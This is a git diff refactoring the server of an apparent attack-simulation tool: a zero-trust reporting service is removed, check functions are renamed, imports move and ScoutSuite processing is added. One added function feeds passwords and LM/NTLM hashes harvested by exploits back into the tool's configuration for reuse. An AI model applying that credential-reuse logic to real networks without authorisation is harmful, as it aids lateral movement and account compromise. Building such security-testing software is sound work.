zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED - } - - self.assertEqual(ZeroTrustService.get_pillars_to_statuses(), expected) - - def test_get_events_without_overlap(self): - monkey_island.cc.services.reporting.zero_trust_service.EVENT_FETCH_CNT = 5 - self.assertListEqual([], ZeroTrustService._get_events_without_overlap(5, [1, 2, 3])) - self.assertListEqual([3], ZeroTrustService._get_events_without_overlap(6, [1, 2, 3])) - self.assertListEqual([1, 2, 3, 4, 5], ZeroTrustService._get_events_without_overlap(10, [1, 2, 3, 4, 5])) - - -def compare_lists_no_order(s, t): - t = list(t) # make a mutable copy - try: - for elem in s: - t.remove(elem) - except ValueError: - return False - return not t diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py deleted file mode 100644 index 7c31fc59a..000000000 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ /dev/null @@ -1,185 +0,0 @@ -from typing import List - -from bson.objectid import ObjectId - -import common.data.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.finding import Finding - -# How many events of a single finding to return to UI. -# 50 will return 50 latest and 50 oldest events from a finding -EVENT_FETCH_CNT = 50 - - -class ZeroTrustService(object): - @staticmethod - def get_pillars_grades(): - pillars_grades = [] - all_findings = Finding.objects().exclude('events') - for pillar in zero_trust_consts.PILLARS: - pillars_grades.append(ZeroTrustService.__get_pillar_grade(pillar, all_findings)) - return pillars_grades - - @staticmethod - def __get_pillar_grade(pillar, all_findings): - pillar_grade = { - "pillar": pillar, - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 0 - } - - tests_of_this_pillar = zero_trust_consts.PILLARS_TO_TESTS[pillar] - - test_unexecuted = {} - for test in tests_of_this_pillar: - test_unexecuted[test] = True - - for finding in all_findings: - test_unexecuted[finding.test] = False - test_info = zero_trust_consts.TESTS_MAP[finding.test] - if pillar in test_info[zero_trust_consts.PILLARS_KEY]: - pillar_grade[finding.status] += 1 - - pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = sum(1 for condition in list(test_unexecuted.values()) if condition) - - return pillar_grade - - @staticmethod - def get_principles_status(): - all_principles_statuses = {} - - # init with empty lists - for pillar in zero_trust_consts.PILLARS: - all_principles_statuses[pillar] = [] - - for principle, principle_tests in list(zero_trust_consts.PRINCIPLES_TO_TESTS.items()): - for pillar in zero_trust_consts.PRINCIPLES_TO_PILLARS[principle]: - all_principles_statuses[pillar].append( - { - "principle": zero_trust_consts.PRINCIPLES[principle], - "tests": ZeroTrustService.__get_tests_status(principle_tests), - "status": ZeroTrustService.__get_principle_status(principle_tests) - } - ) - - return all_principles_statuses - - @staticmethod - def __get_principle_status(principle_tests): - worst_status = zero_trust_consts.STATUS_UNEXECUTED - all_statuses = set() - for test in principle_tests: - all_statuses |= set(Finding.objects(test=test).exclude('events').distinct("status")) - - for status in all_statuses: - if zero_trust_consts.ORDERED_TEST_STATUSES.index(status) \ - < zero_trust_consts.ORDERED_TEST_STATUSES.index(worst_status): - worst_status = status - - return worst_status - - @staticmethod - def __get_tests_status(principle_tests): - results = [] - for test in principle_tests: - test_findings = Finding.objects(test=test).exclude('events') - results.append( - { - "test": zero_trust_consts.TESTS_MAP[test][zero_trust_consts.TEST_EXPLANATION_KEY], - "status": ZeroTrustService.__get_lcd_worst_status_for_test(test_findings) - } - ) - return results - - @staticmethod - def __get_lcd_worst_status_for_test(all_findings_for_test): - """ - :param all_findings_for_test: All findings of a specific test (get this using Finding.objects(test={A_TEST})) - :return: the "worst" (i.e. most severe) status out of the given findings. - lcd stands for lowest common denominator. - """ - current_worst_status = zero_trust_consts.STATUS_UNEXECUTED - for finding in all_findings_for_test: - if zero_trust_consts.ORDERED_TEST_STATUSES.index(finding.status) \ - < zero_trust_consts.ORDERED_TEST_STATUSES.index(current_worst_status): - current_worst_status = finding.status - - return current_worst_status - - @staticmethod - def get_all_findings(): - pipeline = [{'$addFields': {'oldest_events': {'$slice': ['$events', EVENT_FETCH_CNT]}, - 'latest_events': {'$slice': ['$events', -1*EVENT_FETCH_CNT]}, - 'event_count': {'$size': '$events'}}}, - {'$unset': ['events']}] - all_findings = list(Finding.objects.aggregate(*pipeline)) - for finding in all_findings: - finding['latest_events'] = ZeroTrustService._get_events_without_overlap(finding['event_count'], - finding['latest_events']) - - enriched_findings = [ZeroTrustService.__get_enriched_finding(f) for f in all_findings] - return enriched_findings - - @staticmethod - def _get_events_without_overlap(event_count: int, events: List[object]) -> List[object]: - overlap_count = event_count - EVENT_FETCH_CNT - if overlap_count >= EVENT_FETCH_CNT: - return events - elif overlap_count <= 0: - return [] - else: - return events[-1 * overlap_count:] - - @staticmethod - def __get_enriched_finding(finding): - test_info = zero_trust_consts.TESTS_MAP[finding['test']] - enriched_finding = { - 'finding_id': str(finding['_id']), - 'test': test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding['status']], - 'test_key': finding['test'], - 'pillars': test_info[zero_trust_consts.PILLARS_KEY], - 'status': finding['status'], - 'latest_events': finding['latest_events'], - 'oldest_events': finding['oldest_events'], - 'event_count': finding['event_count'] - } - return enriched_finding - - @staticmethod - def get_statuses_to_pillars(): - results = { - zero_trust_consts.STATUS_FAILED: [], - zero_trust_consts.STATUS_VERIFY: [], - zero_trust_consts.STATUS_PASSED: [], - zero_trust_consts.STATUS_UNEXECUTED: [] - } - for pillar in zero_trust_consts.PILLARS: - results[ZeroTrustService.__get_status_of_single_pillar(pillar)].append(pillar) - - return results - - @staticmethod - def get_pillars_to_statuses(): - results = {} - for pillar in zero_trust_consts.PILLARS: - results[pillar] = ZeroTrustService.__get_status_of_single_pillar(pillar) - - return results - - @staticmethod - def __get_status_of_single_pillar(pillar): - all_findings = Finding.objects().exclude('events') - grade = ZeroTrustService.__get_pillar_grade(pillar, all_findings) - for status in zero_trust_consts.ORDERED_TEST_STATUSES: - if grade[status] > 0: - return status - return zero_trust_consts.STATUS_UNEXECUTED - - @staticmethod - def get_events_by_finding(finding_id: str) -> List[object]: - pipeline = [{'$match': {'_id': ObjectId(finding_id)}}, - {'$unwind': '$events'}, - {'$project': {'events': '$events'}}, - {'$replaceRoot': {'newRoot': '$events'}}] - return list(Finding.objects.aggregate(*pipeline)) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 69c1e20f6..3d8588663 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -2,15 +2,13 @@ import copy import dateutil -from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.server_utils.encryptor import encryptor from monkey_island.cc.models import Monkey -from monkey_island.cc.models.edge import Edge +from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.utils import \ - get_edge_by_scan_or_exploit_telemetry -from monkey_island.cc.services.telemetry.zero_trust_tests.machine_exploited import \ - test_machine_exploited +from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry +from monkey_island.cc.services.telemetry.zero_trust_checks.machine_exploited import check_machine_exploited def process_exploit_telemetry(telemetry_json): @@ -18,8 +16,9 @@ def process_exploit_telemetry(telemetry_json): edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) update_network_with_exploit(edge, telemetry_json) update_node_credentials_from_successful_attempts(edge, telemetry_json) + add_exploit_extracted_creds_to_config(telemetry_json) - test_machine_exploited( + check_machine_exploited( current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']), exploit_successful=telemetry_json['data']['result'], exploiter=telemetry_json['data']['exploiter'], @@ -27,6 +26,19 @@ def process_exploit_telemetry(telemetry_json): timestamp=telemetry_json['timestamp']) +def add_exploit_extracted_creds_to_config(telemetry_json): + if 'credentials' in telemetry_json['data']['info']: + creds = telemetry_json['data']['info']['credentials'] + for user in creds: + ConfigService.creds_add_username(creds[user]['username']) + if 'password' in creds[user] and creds[user]['password']: + ConfigService.creds_add_password(creds[user]['password']) + if 'lm_hash' in creds[user] and creds[user]['lm_hash']: + ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) + if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']: + ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + + def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json): for attempt in telemetry_json['data']['attempts']: if attempt['result']: diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index 367ca87d9..b06b638c8 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -1,10 +1,9 @@ import copy -from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER +from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import \ - test_new_user_communication +from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_new_user import check_new_user_communication EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" @@ -13,7 +12,7 @@ def process_communicate_as_new_user_telemetry(telemetry_json): current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) message = telemetry_json['data']['result'][0] success = telemetry_json['data']['result'][1] - test_new_user_communication(current_monkey, success, message) + check_new_user_communication(current_monkey, success, message) POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 566c11dcc..151fd672f 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -1,31 +1,28 @@ import logging -from monkey_island.cc.services.telemetry.processing.exploit import \ - process_exploit_telemetry -from monkey_island.cc.services.telemetry.processing.post_breach import \ - process_post_breach_telemetry -from monkey_island.cc.services.telemetry.processing.scan import \ - process_scan_telemetry -from monkey_island.cc.services.telemetry.processing.state import \ - process_state_telemetry -from monkey_island.cc.services.telemetry.processing.system_info import \ - process_system_info_telemetry -from monkey_island.cc.services.telemetry.processing.tunnel import \ - process_tunnel_telemetry +from common.common_consts.telem_categories import TelemCategoryEnum +from monkey_island.cc.services.telemetry.processing.exploit import process_exploit_telemetry +from monkey_island.cc.services.telemetry.processing.post_breach import process_post_breach_telemetry +from monkey_island.cc.services.telemetry.processing.scan import process_scan_telemetry +from monkey_island.cc.services.telemetry.processing.scoutsuite import process_scoutsuite_telemetry +from monkey_island.cc.services.telemetry.processing.state import process_state_telemetry +from monkey_island.cc.services.telemetry.processing.system_info import process_system_info_telemetry +from monkey_island.cc.services.telemetry.processing.tunnel import process_tunnel_telemetry logger = logging.getLogger(__name__) TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \ { - 'tunnel': process_tunnel_telemetry, - 'state': process_state_telemetry, - 'exploit': process_exploit_telemetry, - 'scan': process_scan_telemetry, - 'system_info': process_system_info_telemetry, - 'post_breach': process_post_breach_telemetry, + TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, + TelemCategoryEnum.STATE: process_state_telemetry, + TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, + TelemCategoryEnum.SCAN: process_scan_telemetry, + TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry, + TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, + TelemCategoryEnum.SCOUTSUITE: process_scoutsuite_telemetry, # `lambda *args, **kwargs: None` is a no-op. - 'trace': lambda *args, **kwargs: None, - 'attack': lambda *args, **kwargs: None, + TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, + TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None, } diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py index 43446126c..d0b204d16 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -1,22 +1,18 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.services.edge.edge import EdgeService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.utils import \ - get_edge_by_scan_or_exploit_telemetry -from monkey_island.cc.services.telemetry.zero_trust_tests.data_endpoints import \ - test_open_data_endpoints -from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \ - test_segmentation_violation +from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry +from monkey_island.cc.services.telemetry.zero_trust_checks.data_endpoints import check_open_data_endpoints +from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import check_segmentation_violation def process_scan_telemetry(telemetry_json): update_edges_and_nodes_based_on_scan_telemetry(telemetry_json) - test_open_data_endpoints(telemetry_json) + check_open_data_endpoints(telemetry_json) current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) target_ip = telemetry_json['data']['machine']['ip_addr'] - test_segmentation_violation(current_monkey, target_ip) + check_segmentation_violation(current_monkey, target_ip) def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py new file mode 100644 index 000000000..9160861ea --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -0,0 +1,32 @@ +import json + +from monkey_island.cc.database import mongo +from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings_list import SCOUTSUITE_FINDINGS +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService + + +def process_scoutsuite_telemetry(telemetry_json): + # Encode data to json, because mongo can't save it as document (invalid document keys) + telemetry_json['data'] = json.dumps(telemetry_json['data']) + ScoutSuiteRawDataJson.add_scoutsuite_data(telemetry_json['data']) + scoutsuite_data = json.loads(telemetry_json['data'])['data'] + create_scoutsuite_findings(scoutsuite_data[SERVICES]) + update_data(telemetry_json) + + +def create_scoutsuite_findings(cloud_services: dict): + for finding in SCOUTSUITE_FINDINGS: + for rule in finding.rules: + rule_data = RuleParser.get_rule_data(cloud_services, rule) + rule = ScoutSuiteRuleService.get_rule_from_rule_data(rule_data) + ScoutSuiteZTFindingService.process_rule(finding, rule) + + +def update_data(telemetry_json): + mongo.db.scoutsuite.insert_one( + {'guid': telemetry_json['monkey_guid']}, + {'results': telemetry_json['data']}) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py index 3ac555f3e..4f596fb88 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/state.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -2,8 +2,8 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \ - test_passed_findings_for_unreached_segments +from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import \ + check_passed_findings_for_unreached_segments logger = logging.getLogger(__name__) @@ -18,7 +18,7 @@ def process_state_telemetry(telemetry_json): if telemetry_json['data']['done']: current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - test_passed_findings_for_unreached_segments(current_monkey) + check_passed_findings_for_unreached_segments(current_monkey) if telemetry_json['data']['version']: logger.info(f"monkey {telemetry_json['monkey_guid']} has version {telemetry_json['data']['version']}") diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 88eb9285c..d3e7cfb54 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -1,6 +1,6 @@ import logging -from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.server_utils.encryptor import encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \ diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index 639a392ce..6d9ec8492 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -1,18 +1,13 @@ import logging import typing -from common.data.system_info_collectors_names import (AWS_COLLECTOR, - ENVIRONMENT_COLLECTOR, - HOSTNAME_COLLECTOR, - PROCESS_LIST_COLLECTOR) -from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import \ - process_aws_telemetry +from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, + PROCESS_LIST_COLLECTOR) +from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \ process_environment_telemetry -from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import \ - process_hostname_telemetry -from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import \ - test_antivirus_existence +from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import process_hostname_telemetry +from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import check_antivirus_existence logger = logging.getLogger(__name__) @@ -20,7 +15,7 @@ SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = { AWS_COLLECTOR: [process_aws_telemetry], ENVIRONMENT_COLLECTOR: [process_environment_telemetry], HOSTNAME_COLLECTOR: [process_hostname_telemetry], - PROCESS_LIST_COLLECTOR: [test_antivirus_existence] + PROCESS_LIST_COLLECTOR: [check_antivirus_existence] } diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py index f85b2b88c..6369ea9e1 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py @@ -3,14 +3,10 @@ import uuid from monkey_island.cc.models import Monkey from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \ SystemInfoTelemetryDispatcher -from monkey_island.cc.testing.IslandTestCase import IslandTestCase -class TestEnvironmentTelemetryProcessing(IslandTestCase): +class TestEnvironmentTelemetryProcessing: def test_process_environment_telemetry(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - # Arrange monkey_guid = str(uuid.uuid4()) a_monkey = Monkey(guid=monkey_guid) @@ -28,4 +24,4 @@ class TestEnvironmentTelemetryProcessing(IslandTestCase): } dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) - self.assertEqual(Monkey.get_single_monkey_by_guid(monkey_guid).environment, on_premise) + assert Monkey.get_single_monkey_by_guid(monkey_guid).environment == on_premise diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py index 2af2d5970..eed93058a 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py @@ -1,32 +1,33 @@ import uuid +import pytest + from monkey_island.cc.models import Monkey from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( SystemInfoTelemetryDispatcher, process_aws_telemetry) -from monkey_island.cc.testing.IslandTestCase import IslandTestCase TEST_SYS_INFO_TO_PROCESSING = { "AwsCollector": [process_aws_telemetry], } -class SystemInfoTelemetryDispatcherTest(IslandTestCase): +class TestSystemInfoTelemetryDispatcher: def test_dispatch_to_relevant_collector_bad_inputs(self): - self.fail_if_not_testing_env() dispatcher = SystemInfoTelemetryDispatcher(TEST_SYS_INFO_TO_PROCESSING) # Bad format telem JSONs - throws bad_empty_telem_json = {} - self.assertRaises(KeyError, dispatcher.dispatch_collector_results_to_relevant_processors, bad_empty_telem_json) + with pytest.raises(KeyError): + dispatcher.dispatch_collector_results_to_relevant_processors(bad_empty_telem_json) + bad_no_data_telem_json = {"monkey_guid": "bla"} - self.assertRaises(KeyError, - dispatcher.dispatch_collector_results_to_relevant_processors, - bad_no_data_telem_json) + with pytest.raises(KeyError): + dispatcher.dispatch_collector_results_to_relevant_processors(bad_no_data_telem_json) + bad_no_monkey_telem_json = {"data": {"collectors": {"AwsCollector": "Bla"}}} - self.assertRaises(KeyError, - dispatcher.dispatch_collector_results_to_relevant_processors, - bad_no_monkey_telem_json) + with pytest.raises(KeyError): + dispatcher.dispatch_collector_results_to_relevant_processors(bad_no_monkey_telem_json) # Telem JSON with no collectors - nothing gets dispatched good_telem_no_collectors = {"monkey_guid": "bla", "data": {"bla": "bla"}} @@ -36,9 +37,6 @@ class SystemInfoTelemetryDispatcherTest(IslandTestCase): dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_empty_collectors) def test_dispatch_to_relevant_collector(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - a_monkey = Monkey(guid=str(uuid.uuid4())) a_monkey.save() @@ -56,4 +54,4 @@ class SystemInfoTelemetryDispatcherTest(IslandTestCase): } dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) - self.assertEquals(Monkey.get_single_monkey_by_guid(a_monkey.guid).aws_instance_id, instance_id) + assert Monkey.get_single_monkey_by_guid(a_monkey.guid).aws_instance_id == instance_id diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py index ef5ea0ff9..1e20e5443 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py @@ -1,12 +1,10 @@ from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.utils import \ - get_tunnel_host_ip_from_proxy_field -from monkey_island.cc.services.telemetry.zero_trust_tests.tunneling import \ - test_tunneling_violation +from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field +from monkey_island.cc.services.telemetry.zero_trust_checks.tunneling import check_tunneling_violation def process_tunnel_telemetry(telemetry_json): - test_tunneling_violation(telemetry_json) + check_tunneling_violation(telemetry_json) monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] if telemetry_json['data']['proxy'] is not None: tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json) diff --git a/monkey/monkey_island/cc/testing/__init__.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/__init__.py similarity index 100% rename from monkey/monkey_island/cc/testing/__init__.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/__init__.py diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py similarity index 72% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py index 336567c7c..a6b90cc45 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py @@ -1,15 +1,13 @@ import json -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey -from monkey_island.cc.models.zero_trust.aggregate_finding import \ - AggregateFinding from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.telemetry.zero_trust_tests.known_anti_viruses import \ - ANTI_VIRUS_KNOWN_PROCESS_NAMES +from monkey_island.cc.services.telemetry.zero_trust_checks.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService -def test_antivirus_existence(process_list_json, monkey_guid): +def check_antivirus_existence(process_list_json, monkey_guid): current_monkey = Monkey.get_single_monkey_by_guid(monkey_guid) process_list_event = Event.create_event( @@ -32,9 +30,8 @@ def test_antivirus_existence(process_list_json, monkey_guid): test_status = zero_trust_consts.STATUS_PASSED else: test_status = zero_trust_consts.STATUS_FAILED - AggregateFinding.create_or_add_to_existing( - test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events - ) + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + status=test_status, events=events) def filter_av_processes(process_list): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py similarity index 55% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py index d822206af..2ef914786 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py @@ -1,23 +1,20 @@ -import common.data.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.aggregate_finding import \ - AggregateFinding +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}" COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}" -def test_new_user_communication(current_monkey, success, message): - AggregateFinding.create_or_add_to_existing( - test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, - # If the monkey succeeded to create a user, then the test failed. - status=zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED, - events=[ - get_attempt_event(current_monkey), - get_result_event(current_monkey, message, success) - ] - ) +def check_new_user_communication(current_monkey, success, message): + status = zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, + status=status, + events=[ + get_attempt_event(current_monkey), + get_result_event(current_monkey, message, success) + ]) def get_attempt_event(current_monkey): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py similarity index 75% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py index 447b2dee8..a5d42ef2c 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py @@ -1,16 +1,15 @@ import json -import common.data.zero_trust_consts as zero_trust_consts -from common.data.network_consts import ES_SERVICE +import common.common_consts.zero_trust_consts as zero_trust_consts +from common.common_consts.network_consts import ES_SERVICE from monkey_island.cc.models import Monkey -from monkey_island.cc.models.zero_trust.aggregate_finding import ( - AggregateFinding, add_malicious_activity_to_timeline) from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] -def test_open_data_endpoints(telemetry_json): +def check_open_data_endpoints(telemetry_json): services = telemetry_json["data"]["machine"]["services"] current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) found_http_server_status = zero_trust_consts.STATUS_PASSED @@ -56,16 +55,10 @@ def test_open_data_endpoints(telemetry_json): event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK )) - AggregateFinding.create_or_add_to_existing( - test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - status=found_http_server_status, - events=events - ) + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + status=found_http_server_status, events=events) - AggregateFinding.create_or_add_to_existing( - test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, - status=found_elastic_search_server, - events=events - ) + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, + status=found_elastic_search_server, events=events) - 